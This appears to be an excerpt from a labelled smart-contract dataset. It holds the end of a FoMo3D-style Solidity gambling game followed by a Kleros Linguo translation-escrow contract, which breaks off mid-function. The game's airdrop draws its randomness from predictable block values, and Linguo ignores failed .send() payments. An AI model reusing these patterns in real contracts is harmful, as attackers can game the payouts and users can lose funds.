if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Letou8events.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Letou8datasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(Letou8datasets.EventReturns memory _eventData_)
private
returns (Letou8datasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, Letou8datasets.EventReturns memory _eventData_)
private
returns (Letou8datasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(Letou8datasets.EventReturns memory _eventData_)
private
returns (Letou8datasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(6) / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Letou8datasets.EventReturns memory _eventData_)
private
returns(Letou8datasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _aff = _eth / 5;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit Letou8events.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Letou8datasets.EventReturns memory _eventData_)
private
returns(Letou8datasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(24)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Letou8datasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit Letou8events.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == community_addr, "only community can activate"
);
require(activated_ == false, "shuoha already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library Letou8datasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library Letou8KeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,234 |
pragma solidity 0.7.4;
interface IArbitrable {
event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling);
function rule(uint256 _disputeID, uint256 _ruling) external;
}
interface IArbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
event DisputeCreation(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
function createDispute(uint256 _choices, bytes calldata _extraData) external payable returns (uint256 disputeID);
function arbitrationCost(bytes calldata _extraData) external view returns (uint256 cost);
function appeal(uint256 _disputeID, bytes calldata _extraData) external payable;
function appealCost(uint256 _disputeID, bytes calldata _extraData) external view returns (uint256 cost);
function appealPeriod(uint256 _disputeID) external view returns (uint256 start, uint256 end);
function disputeStatus(uint256 _disputeID) external view returns (DisputeStatus status);
function currentRuling(uint256 _disputeID) external view returns (uint256 ruling);
}
interface IEvidence {
event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence);
event Evidence(
IArbitrator indexed _arbitrator,
uint256 indexed _evidenceGroupID,
address indexed _party,
string _evidence
);
event Dispute(
IArbitrator indexed _arbitrator,
uint256 indexed _disputeID,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID
);
}
library CappedMath {
uint constant private UINT_MAX = 2**256 - 1;
function addCap(uint _a, uint _b) internal pure returns (uint) {
uint c = _a + _b;
return c >= _a ? c : UINT_MAX;
}
function subCap(uint _a, uint _b) internal pure returns (uint) {
if (_b > _a)
return 0;
else
return _a - _b;
}
function mulCap(uint _a, uint _b) internal pure returns (uint) {
if (_a == 0)
return 0;
uint c = _a * _b;
return c / _a == _b ? c : UINT_MAX;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Linguo is IArbitrable, IEvidence {
using CappedMath for uint256;
uint8 public constant VERSION_ID = 0;
uint256 public constant MULTIPLIER_DIVISOR = 10000;
uint256 private constant NOT_PAYABLE_VALUE = (2**256 - 2) / 2;
enum Status {Created, Assigned, AwaitingReview, DisputeCreated, Resolved}
enum Party {
None,
Translator,
Challenger
}
struct Task {
uint256 submissionTimeout;
uint256 minPrice;
uint256 maxPrice;
Status status;
uint256 lastInteraction;
address payable requester;
uint256 requesterDeposit;
uint256 sumDeposit;
address payable[3] parties;
uint256 disputeID;
Round[] rounds;
uint256 ruling;
}
struct Round {
uint256[3] paidFees;
bool[3] hasPaid;
uint256 feeRewards;
mapping(address => uint256[3]) contributions;
}
address public governor = msg.sender;
IArbitrator public immutable arbitrator;
bytes public arbitratorExtraData;
uint256 public reviewTimeout;
uint256 public translationMultiplier;
uint256 public challengeMultiplier;
uint256 public sharedStakeMultiplier;
uint256 public winnerStakeMultiplier;
uint256 public loserStakeMultiplier;
Task[] public tasks;
mapping(uint256 => uint256) public disputeIDtoTaskID;
event TaskCreated(uint256 indexed _taskID, address indexed _requester, uint256 _timestamp);
event TaskAssigned(uint256 indexed _taskID, address indexed _translator, uint256 _price, uint256 _timestamp);
event TranslationSubmitted(
uint256 indexed _taskID,
address indexed _translator,
string _translatedText,
uint256 _timestamp
);
event TranslationChallenged(uint256 indexed _taskID, address indexed _challenger, uint256 _timestamp);
event TaskResolved(uint256 indexed _taskID, string _reason, uint256 _timestamp);
event AppealContribution(uint256 indexed _taskID, Party _party, address indexed _contributor, uint256 _amount);
event HasPaidAppealFee(uint256 indexed _taskID, Party _party);
modifier onlyGovernor() {
require(msg.sender == governor, "Only governor is allowed to perform this.");
_;
}
constructor(
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData,
uint256 _reviewTimeout,
uint256 _translationMultiplier,
uint256 _challengeMultiplier,
uint256 _sharedStakeMultiplier,
uint256 _winnerStakeMultiplier,
uint256 _loserStakeMultiplier
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
reviewTimeout = _reviewTimeout;
translationMultiplier = _translationMultiplier;
challengeMultiplier = _challengeMultiplier;
sharedStakeMultiplier = _sharedStakeMultiplier;
winnerStakeMultiplier = _winnerStakeMultiplier;
loserStakeMultiplier = _loserStakeMultiplier;
}
function changeGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
function changeReviewTimeout(uint256 _reviewTimeout) public onlyGovernor {
reviewTimeout = _reviewTimeout;
}
function changeTranslationMultiplier(uint256 _translationMultiplier) public onlyGovernor {
translationMultiplier = _translationMultiplier;
}
function changeChallengeMultiplier(uint256 _challengeMultiplier) public onlyGovernor {
challengeMultiplier = _challengeMultiplier;
}
function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) public onlyGovernor {
sharedStakeMultiplier = _sharedStakeMultiplier;
}
function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) public onlyGovernor {
winnerStakeMultiplier = _winnerStakeMultiplier;
}
function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) public onlyGovernor {
loserStakeMultiplier = _loserStakeMultiplier;
}
function createTask(
uint256 _deadline,
uint256 _minPrice,
string calldata _metaEvidence
) external payable returns (uint256 taskID) {
require(msg.value >= _minPrice, "Deposited value should be greater than or equal to the min price.");
require(_deadline > block.timestamp, "The deadline should be in the future.");
taskID = tasks.length;
Task storage task = tasks.push();
task.submissionTimeout = _deadline - block.timestamp;
task.minPrice = _minPrice;
task.maxPrice = msg.value;
task.lastInteraction = block.timestamp;
task.requester = msg.sender;
task.requesterDeposit = msg.value;
emit MetaEvidence(taskID, _metaEvidence);
emit TaskCreated(taskID, msg.sender, block.timestamp);
}
function assignTask(uint256 _taskID) external payable {
Task storage task = tasks[_taskID];
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 translatorDeposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
require(task.status == Status.Created, "Task has already been assigned or reimbursed.");
require(msg.value >= translatorDeposit, "Not enough ETH to reach the required deposit value.");
task.parties[uint256(Party.Translator)] = msg.sender;
task.status = Status.Assigned;
uint256 remainder = task.maxPrice - price;
task.requester.send(remainder);
task.requesterDeposit = price;
task.sumDeposit = translatorDeposit;
remainder = msg.value - translatorDeposit;
msg.sender.send(remainder);
emit TaskAssigned(_taskID, msg.sender, price, block.timestamp);
}
function submitTranslation(uint256 _taskID, string calldata _translation) external {
Task storage task = tasks[_taskID];
require(
task.status == Status.Assigned,
"The task is either not assigned or translation has already been submitted."
);
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
require(
msg.sender == task.parties[uint256(Party.Translator)],
"Can't submit translation to a task that wasn't assigned to you."
);
task.status = Status.AwaitingReview;
task.lastInteraction = block.timestamp;
emit TranslationSubmitted(_taskID, msg.sender, _translation, block.timestamp);
}
function reimburseRequester(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status < Status.AwaitingReview, "Can't reimburse if translation was submitted.");
require(
block.timestamp - task.lastInteraction > task.submissionTimeout,
"Can't reimburse if the deadline hasn't passed yet."
);
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.requester.send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "requester-reimbursed", block.timestamp);
}
function acceptTranslation(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction > reviewTimeout, "The review phase hasn't passed yet.");
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "translation-accepted", block.timestamp);
}
function challengeTranslation(uint256 _taskID, string calldata _evidence) external payable {
Task storage task = tasks[_taskID];
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 challengeDeposit = arbitrationCost.addCap(
(challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR
);
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction <= reviewTimeout, "The review phase has already passed.");
require(msg.value >= challengeDeposit, "Not enough ETH to cover challenge deposit.");
task.status = Status.DisputeCreated;
task.parties[uint256(Party.Challenger)] = msg.sender;
task.disputeID = arbitrator.createDispute{value: arbitrationCost}(2, arbitratorExtraData);
disputeIDtoTaskID[task.disputeID] = _taskID;
task.rounds.push();
task.sumDeposit = task.sumDeposit.addCap(challengeDeposit).subCap(arbitrationCost);
uint256 remainder = msg.value - challengeDeposit;
msg.sender.send(remainder);
emit Dispute(arbitrator, task.disputeID, _taskID, _taskID);
emit TranslationChallenged(_taskID, msg.sender, block.timestamp);
if (bytes(_evidence).length > 0) emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function fundAppeal(uint256 _taskID, Party _side) external payable {
Task storage task = tasks[_taskID];
require(
_side == Party.Translator || _side == Party.Challenger,
"Recipient must be either the translator or challenger."
);
require(task.status == Status.DisputeCreated, "No dispute to appeal.");
require(
arbitrator.disputeStatus(task.disputeID) == IArbitrator.DisputeStatus.Appealable,
"Dispute is not appealable."
);
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(task.disputeID);
require(
block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd,
"Funding must be made within the appeal period."
);
uint256 winner = arbitrator.currentRuling(task.disputeID);
uint256 multiplier;
if (winner == uint256(_side)) {
multiplier = winnerStakeMultiplier;
} else if (winner == 0) {
multiplier = sharedStakeMultiplier;
} else {
require(
block.timestamp - appealPeriodStart < (appealPeriodEnd - appealPeriodStart) / 2,
"The loser must pay during the first half of the appeal period."
);
multiplier = loserStakeMultiplier;
}
Round storage round = task.rounds[task.rounds.length - 1];
require(!round.hasPaid[uint256(_side)], "Appeal fee has already been paid.");
uint256 appealCost = arbitrator.appealCost(task.disputeID, arbitratorExtraData);
uint256 totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR);
uint256 contribution;
uint256 remainingETH;
(contribution, remainingETH) = calculateContribution(
msg.value,
totalCost.subCap(round.paidFees[uint256(_side)])
);
round.contributions[msg.sender][uint256(_side)] += contribution;
round.paidFees[uint256(_side)] += contribution;
emit AppealContribution(_taskID, _side, msg.sender, contribution);
if (round.paidFees[uint256(_side)] >= totalCost) {
round.hasPaid[uint256(_side)] = true;
round.feeRewards += round.paidFees[uint256(_side)];
emit HasPaidAppealFee(_taskID, _side);
}
msg.sender.send(remainingETH);
if (round.hasPaid[uint256(Party.Translator)] && round.hasPaid[uint256(Party.Challenger)]) {
arbitrator.appeal{value: appealCost}(task.disputeID, arbitratorExtraData);
task.rounds.push();
round.feeRewards = round.feeRewards.subCap(appealCost);
}
